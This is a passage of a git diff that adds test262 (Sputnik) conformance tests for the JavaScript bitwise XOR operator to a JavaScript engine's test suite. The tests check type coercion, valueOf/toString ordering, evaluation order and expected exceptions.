+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 ^ y;
+ $ERROR('#1.1: 1 ^ y throw ReferenceError. Actual: ' + (1 ^ y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 ^ y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.2_T1.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.2_T1.js
new file mode 100644
index 000000000..0a00ada6d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y uses [[Default Value]]
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if (({valueOf: function() {return 1}} ^ 1) !== 0) {
+ $ERROR('#1: ({valueOf: function() {return 1}} ^ 1) === 0. Actual: ' + (({valueOf: function() {return 1}} ^ 1)));
+}
+
+//CHECK#2
+if (({valueOf: function() {return 1}, toString: function() {return 0}} ^ 1) !== 0) {
+ $ERROR('#2: ({valueOf: function() {return 1}, toString: function() {return 0}} ^ 1) === 0. Actual: ' + (({valueOf: function() {return 1}, toString: function() {return 0}} ^ 1)));
+}
+
+//CHECK#3
+if (({valueOf: function() {return 1}, toString: function() {return {}}} ^ 1) !== 0) {
+ $ERROR('#3: ({valueOf: function() {return 1}, toString: function() {return {}}} ^ 1) === 0. Actual: ' + (({valueOf: function() {return 1}, toString: function() {return {}}} ^ 1)));
+}
+
+//CHECK#4
+try {
+ if (({valueOf: function() {return 1}, toString: function() {throw "error"}} ^ 1) !== 0) {
+ $ERROR('#4.1: ({valueOf: function() {return 1}, toString: function() {throw "error"}} ^ 1) === 0. Actual: ' + (({valueOf: function() {return 1}, toString: function() {throw "error"}} ^ 1)));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: ({valueOf: function() {return 1}, toString: function() {throw "error"}} ^ 1) not throw "error"');
+ } else {
+ $ERROR('#4.3: ({valueOf: function() {return 1}, toString: function() {throw "error"}} ^ 1) not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if ((1 ^ {toString: function() {return 1}}) !== 0) {
+ $ERROR('#5: (1 ^ {toString: function() {return 1}}) === 0. Actual: ' + ((1 ^ {toString: function() {return 1}})));
+}
+
+//CHECK#6
+if ((1 ^ {valueOf: function() {return {}}, toString: function() {return 1}}) !== 0) {
+ $ERROR('#6: (1 ^ {valueOf: function() {return {}}, toString: function() {return 1}}) === 0. Actual: ' + ((1 ^ {valueOf: function() {return {}}, toString: function() {return 1}})));
+}
+
+//CHECK#7
+try {
+ 1 ^ {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: 1 ^ {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (1 ^ {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 ^ {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 ^ {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 ^ {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 ^ {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 ^ {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.3_T1.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.3_T1.js
new file mode 100644
index 000000000..cbf3009a1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToInt32(first expression) is called first, and then ToInt32(second expression)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x ^ y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x ^ y throw "x". Actual: ' + (x ^ y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToInt32(first expression) is called first, and then ToInt32(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x ^ y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T1.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T1.js
new file mode 100644
index 000000000..e1af1b864
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T1.js
@@ -0,0 +1,24 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 1;
+if (((x = 0) ^ x) !== 0) {
+ $ERROR('#1: var x = 0; ((x = 1) ^ x) === 0. Actual: ' + (((x = 1) ^ x)));
+}
+
+//CHECK#2
+var x = 0;
+if ((x ^ (x = 1)) !== 1) {
+ $ERROR('#2: var x = 0; (x ^ (x = 1)) === 1. Actual: ' + ((x ^ (x = 1))));
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T2.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T2.js
new file mode 100644
index 000000000..5cc5a1540
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() ^ y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() ^ y() throw "x". Actual: ' + (x() ^ y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() ^ y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T3.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T3.js
new file mode 100644
index 000000000..5241ec557
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A2.4_T3.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ * @noStrict
+ */
+
+//CHECK#1
+try {
+ x ^ (x = 1);
+ $ERROR('#1.1: x ^ (x = 1) throw ReferenceError. Actual: ' + (x ^ (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x ^ (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if (((y = 1) ^ y) !== 0) {
+ $ERROR('#2: ((y = 1) ^ y) === 0. Actual: ' + (((y = 1) ^ y)));
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.1.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.1.js
new file mode 100644
index 000000000..e6466e784
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T1.1.js
+ * @description Type(x) and Type(y) are primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if ((true ^ true) !== 0) {
+ $ERROR('#1: (true ^ true) === 0. Actual: ' + ((true ^ true)));
+}
+
+//CHECK#2
+if ((new Boolean(true) ^ true) !== 0) {
+ $ERROR('#2: (new Boolean(true) ^ true) === 0. Actual: ' + ((new Boolean(true) ^ true)));
+}
+
+//CHECK#3
+if ((true ^ new Boolean(true)) !== 0) {
+ $ERROR('#3: (true ^ new Boolean(true)) === 0. Actual: ' + ((true ^ new Boolean(true))));
+}
+
+//CHECK#4
+if ((new Boolean(true) ^ new Boolean(true)) !== 0) {
+ $ERROR('#4: (new Boolean(true) ^ new Boolean(true)) === 0. Actual: ' + ((new Boolean(true) ^ new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.2.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.2.js
new file mode 100644
index 000000000..9b997e82f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T1.2.js
+ * @description Type(x) and Type(y) are primitive number and Number object
+ */
+
+//CHECK#1
+if ((1 ^ 1) !== 0) {
+ $ERROR('#1: (1 ^ 1) === 0. Actual: ' + ((1 ^ 1)));
+}
+
+//CHECK#2
+if ((new Number(1) ^ 1) !== 0) {
+ $ERROR('#2: (new Number(1) ^ 1) === 0. Actual: ' + ((new Number(1) ^ 1)));
+}
+
+//CHECK#3
+if ((1 ^ new Number(1)) !== 0) {
+ $ERROR('#3: (1 ^ new Number(1)) === 0. Actual: ' + ((1 ^ new Number(1))));
+}
+
+//CHECK#4
+if ((new Number(1) ^ new Number(1)) !== 0) {
+ $ERROR('#4: (new Number(1) ^ new Number(1)) === 0. Actual: ' + ((new Number(1) ^ new Number(1))));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.3.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.3.js
new file mode 100644
index 000000000..acd61cf11
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T1.3.js
+ * @description Type(x) and Type(y) are primitive string and String object
+ */
+
+//CHECK#1
+if (("1" ^ "1") !== 0) {
+ $ERROR('#1: ("1" ^ "1") === 0. Actual: ' + (("1" ^ "1")));
+}
+
+//CHECK#2
+if ((new String("1") ^ "1") !== 0) {
+ $ERROR('#2: (new String("1") ^ "1") === 0. Actual: ' + ((new String("1") ^ "1")));
+}
+
+//CHECK#3
+if (("1" ^ new String("1")) !== 0) {
+ $ERROR('#3: ("1" ^ new String("1")) === 0. Actual: ' + (("1" ^ new String("1"))));
+}
+
+//CHECK#4
+if ((new String("1") ^ new String("1")) !== 0) {
+ $ERROR('#4: (new String("1") ^ new String("1")) === 0. Actual: ' + ((new String("1") ^ new String("1"))));
+}
+
+//CHECK#5
+if (("x" ^ "1") !== 1) {
+ $ERROR('#5: ("x" ^ "1") === 1. Actual: ' + (("x" ^ "1")));
+}
+
+//CHECK#6
+if (("1" ^ "x") !== 1) {
+ $ERROR('#6: ("1" ^ "x") === 1. Actual: ' + (("1" ^ "x")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.4.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.4.js
new file mode 100644
index 000000000..72698a656
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T1.4.js
+ * @description Type(x) and Type(y) are null and undefined
+ */
+
+//CHECK#1
+if ((null ^ undefined) !== 0) {
+ $ERROR('#1: (null ^ undefined) === 0. Actual: ' + ((null ^ undefined)));
+}
+
+//CHECK#2
+if ((undefined ^ null) !== 0) {
+ $ERROR('#2: (undefined ^ null) === 0. Actual: ' + ((undefined ^ null)));
+}
+
+//CHECK#3
+if ((undefined ^ undefined) !== 0) {
+ $ERROR('#3: (undefined ^ undefined) === 0. Actual: ' + ((undefined ^ undefined)));
+}
+
+//CHECK#4
+if ((null ^ null) !== 0) {
+ $ERROR('#4: (null ^ null) === 0. Actual: ' + ((null ^ null)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.5.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.5.js
new file mode 100644
index 000000000..b415d1c75
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T1.5.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T1.5.js
+ * @description Type(x) and Type(y) are Object object and Function object
+ */
+
+//CHECK#1
+if (({} ^ function(){return 1}) !== 0) {
+ $ERROR('#1: ({} ^ function(){return 1}) === 0. Actual: ' + (({} ^ function(){return 1})));
+}
+
+//CHECK#2
+if ((function(){return 1} ^ {}) !== 0) {
+ $ERROR('#2: (function(){return 1} ^ {}) === 0. Actual: ' + ((function(){return 1} ^ {})));
+}
+
+//CHECK#3
+if ((function(){return 1} ^ function(){return 1}) !== 0) {
+ $ERROR('#3: (function(){return 1} ^ function(){return 1}) === 0. Actual: ' + ((function(){return 1} ^ function(){return 1})));
+}
+
+//CHECK#4
+if (({} ^ {}) !== 0) {
+ $ERROR('#4: ({} ^ {}) === 0. Actual: ' + (({} ^ {})));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.1.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.1.js
new file mode 100644
index 000000000..c32718b6e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.1.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if ((true ^ 1) !== 0) {
+ $ERROR('#1: (true ^ 1) === 0. Actual: ' + ((true ^ 1)));
+}
+
+//CHECK#2
+if ((1 ^ true) !== 0) {
+ $ERROR('#2: (1 ^ true) === 0. Actual: ' + ((1 ^ true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) ^ 1) !== 0) {
+ $ERROR('#3: (new Boolean(true) ^ 1) === 0. Actual: ' + ((new Boolean(true) ^ 1)));
+}
+
+//CHECK#4
+if ((1 ^ new Boolean(true)) !== 0) {
+ $ERROR('#4: (1 ^ new Boolean(true)) === 0. Actual: ' + ((1 ^ new Boolean(true))));
+}
+
+//CHECK#5
+if ((true ^ new Number(1)) !== 0) {
+ $ERROR('#5: (true ^ new Number(1)) === 0. Actual: ' + ((true ^ new Number(1))));
+}
+
+//CHECK#6
+if ((new Number(1) ^ true) !== 0) {
+ $ERROR('#6: (new Number(1) ^ true) === 0. Actual: ' + ((new Number(1) ^ true)));
+}
+
+//CHECK#7
+if ((new Boolean(true) ^ new Number(1)) !== 0) {
+ $ERROR('#7: (new Boolean(true) ^ new Number(1)) === 0. Actual: ' + ((new Boolean(true) ^ new Number(1))));
+}
+
+//CHECK#8
+if ((new Number(1) ^ new Boolean(true)) !== 0) {
+ $ERROR('#8: (new Number(1) ^ new Boolean(true)) === 0. Actual: ' + ((new Number(1) ^ new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.2.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.2.js
new file mode 100644
index 000000000..1503fbaf5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.2.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.2.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and String (primitive and object)
+ */
+
+//CHECK#1
+if (("1" ^ 1) !== 0) {
+ $ERROR('#1: ("1" ^ 1) === 0. Actual: ' + (("1" ^ 1)));
+}
+
+//CHECK#2
+if ((1 ^ "1") !== 0) {
+ $ERROR('#2: (1 ^ "1") === 0. Actual: ' + ((1 ^ "1")));
+}
+
+//CHECK#3
+if ((new String("1") ^ 1) !== 0) {
+ $ERROR('#3: (new String("1") ^ 1) === 0. Actual: ' + ((new String("1") ^ 1)));
+}
+
+//CHECK#4
+if ((1 ^ new String("1")) !== 0) {
+ $ERROR('#4: (1 ^ new String("1")) === 0. Actual: ' + ((1 ^ new String("1"))));
+}
+
+//CHECK#5
+if (("1" ^ new Number(1)) !== 0) {
+ $ERROR('#5: ("1" ^ new Number(1)) === 0. Actual: ' + (("1" ^ new Number(1))));
+}
+
+//CHECK#6
+if ((new Number(1) ^ "1") !== 0) {
+ $ERROR('#6: (new Number(1) ^ "1") === 0. Actual: ' + ((new Number(1) ^ "1")));
+}
+
+//CHECK#7
+if ((new String("1") ^ new Number(1)) !== 0) {
+ $ERROR('#7: (new String("1") ^ new Number(1)) === 0. Actual: ' + ((new String("1") ^ new Number(1))));
+}
+
+//CHECK#8
+if ((new Number(1) ^ new String("1")) !== 0) {
+ $ERROR('#8: (new Number(1) ^ new String("1")) === 0. Actual: ' + ((new Number(1) ^ new String("1"))));
+}
+
+//CHECK#9
+if (("x" ^ 1) !== 1) {
+ $ERROR('#9: ("x" ^ 1) === 1. Actual: ' + (("x" ^ 1)));
+}
+
+//CHECK#10
+if ((1 ^ "x") !== 1) {
+ $ERROR('#10: (1 ^ "x") === 1. Actual: ' + ((1 ^ "x")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.3.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.3.js
new file mode 100644
index 000000000..7944312eb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.3.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.3.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Null
+ */
+
+//CHECK#1
+if ((1 ^ null) !== 1) {
+ $ERROR('#1: (1 ^ null) === 1. Actual: ' + ((1 ^ null)));
+}
+
+//CHECK#2
+if ((null ^ 1) !== 1) {
+ $ERROR('#2: (null ^ 1) === 1. Actual: ' + ((null ^ 1)));
+}
+
+//CHECK#3
+if ((new Number(1) ^ null) !== 1) {
+ $ERROR('#3: (new Number(1) ^ null) === 1. Actual: ' + ((new Number(1) ^ null)));
+}
+
+//CHECK#4
+if ((null ^ new Number(1)) !== 1) {
+ $ERROR('#4: (null ^ new Number(1)) === 1. Actual: ' + ((null ^ new Number(1))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.4.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.4.js
new file mode 100644
index 000000000..6578ce84d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.4.js
+ * @description Type(x) is different from Type(y) and both types vary between Number (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ((1 ^ undefined) !== 1) {
+ $ERROR('#1: (1 ^ undefined) === 1. Actual: ' + ((1 ^ undefined)));
+}
+
+//CHECK#2
+if ((undefined ^ 1) !== 1) {
+ $ERROR('#2: (undefined ^ 1) === 1. Actual: ' + ((undefined ^ 1)));
+}
+
+//CHECK#3
+if ((new Number(1) ^ undefined) !== 1) {
+ $ERROR('#3: (new Number(1) ^ undefined) === 1. Actual: ' + ((new Number(1) ^ undefined)));
+}
+
+//CHECK#4
+if ((undefined ^ new Number(1)) !== 1) {
+ $ERROR('#4: (undefined ^ new Number(1)) === 1. Actual: ' + ((undefined ^ new Number(1))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.5.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.5.js
new file mode 100644
index 000000000..2e80dfef2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.5.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.5.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Boolean (primitive and object)
+ */
+
+//CHECK#1
+if ((true ^ "1") !== 0) {
+ $ERROR('#1: (true ^ "1") === 0. Actual: ' + ((true ^ "1")));
+}
+
+//CHECK#2
+if (("1" ^ true) !== 0) {
+ $ERROR('#2: ("1" ^ true) === 0. Actual: ' + (("1" ^ true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) ^ "1") !== 0) {
+ $ERROR('#3: (new Boolean(true) ^ "1") === 0. Actual: ' + ((new Boolean(true) ^ "1")));
+}
+
+//CHECK#4
+if (("1" ^ new Boolean(true)) !== 0) {
+ $ERROR('#4: ("1" ^ new Boolean(true)) === 0. Actual: ' + (("1" ^ new Boolean(true))));
+}
+
+//CHECK#5
+if ((true ^ new String("1")) !== 0) {
+ $ERROR('#5: (true ^ new String("1")) === 0. Actual: ' + ((true ^ new String("1"))));
+}
+
+//CHECK#6
+if ((new String("1") ^ true) !== 0) {
+ $ERROR('#6: (new String("1") ^ true) === 0. Actual: ' + ((new String("1") ^ true)));
+}
+
+//CHECK#7
+if ((new Boolean(true) ^ new String("1")) !== 0) {
+ $ERROR('#7: (new Boolean(true) ^ new String("1")) === 0. Actual: ' + ((new Boolean(true) ^ new String("1"))));
+}
+
+//CHECK#8
+if ((new String("1") ^ new Boolean(true)) !== 0) {
+ $ERROR('#8: (new String("1") ^ new Boolean(true)) === 0. Actual: ' + ((new String("1") ^ new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.6.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.6.js
new file mode 100644
index 000000000..b433b597e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.6.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.6.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if (("1" ^ undefined) !== 1) {
+ $ERROR('#1: ("1" ^ undefined) === 1. Actual: ' + (("1" ^ undefined)));
+}
+
+//CHECK#2
+if ((undefined ^ "1") !== 1) {
+ $ERROR('#2: (undefined ^ "1") === 1. Actual: ' + ((undefined ^ "1")));
+}
+
+//CHECK#3
+if ((new String("1") ^ undefined) !== 1) {
+ $ERROR('#3: (new String("1") ^ undefined) === 1. Actual: ' + ((new String("1") ^ undefined)));
+}
+
+//CHECK#4
+if ((undefined ^ new String("1")) !== 1) {
+ $ERROR('#4: (undefined ^ new String("1")) === 1. Actual: ' + ((undefined ^ new String("1"))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.7.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.7.js
new file mode 100644
index 000000000..17996c7b8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.7.js
+ * @description Type(x) is different from Type(y) and both types vary between String (primitive or object) and Null
+ */
+
+//CHECK#1
+if (("1" ^ null) !== 1) {
+ $ERROR('#1: ("1" ^ null) === 1. Actual: ' + (("1" ^ null)));
+}
+
+//CHECK#2
+if ((null ^ "1") !== 1) {
+ $ERROR('#2: (null ^ "1") === 1. Actual: ' + ((null ^ "1")));
+}
+
+//CHECK#3
+if ((new String("1") ^ null) !== 1) {
+ $ERROR('#3: (new String("1") ^ null) === 1. Actual: ' + ((new String("1") ^ null)));
+}
+
+//CHECK#4
+if ((null ^ new String("1")) !== 1) {
+ $ERROR('#4: (null ^ new String("1")) === 1. Actual: ' + ((null ^ new String("1"))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.8.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.8.js
new file mode 100644
index 000000000..36c1c1d23
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.8.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.8.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Undefined
+ */
+
+//CHECK#1
+if ((true ^ undefined) !== 1) {
+ $ERROR('#1: (true ^ undefined) === 1. Actual: ' + ((true ^ undefined)));
+}
+
+//CHECK#2
+if ((undefined ^ true) !== 1) {
+ $ERROR('#2: (undefined ^ true) === 1. Actual: ' + ((undefined ^ true)));
+}
+
+//CHECK#3
+if ((new Boolean(true) ^ undefined) !== 1) {
+ $ERROR('#3: (new Boolean(true) ^ undefined) === 1. Actual: ' + ((new Boolean(true) ^ undefined)));
+}
+
+//CHECK#4
+if ((undefined ^ new Boolean(true)) !== 1) {
+ $ERROR('#4: (undefined ^ new Boolean(true)) === 1. Actual: ' + ((undefined ^ new Boolean(true))));
+}
+
diff --git a/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.9.js b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.9.js
new file mode 100644
index 000000000..6a9d6cb0d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.10/11.10.2/S11.10.2_A3_T2.9.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x ^ y returns ToNumber(x) ^ ToNumber(y)
+ *
+ * @path ch11/11.10/11.10.2/S11.10.2_A3_T2.9.js
+ * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null
+ */
+
+//CHECK#1
+if ((true ^ null) !== 1) {
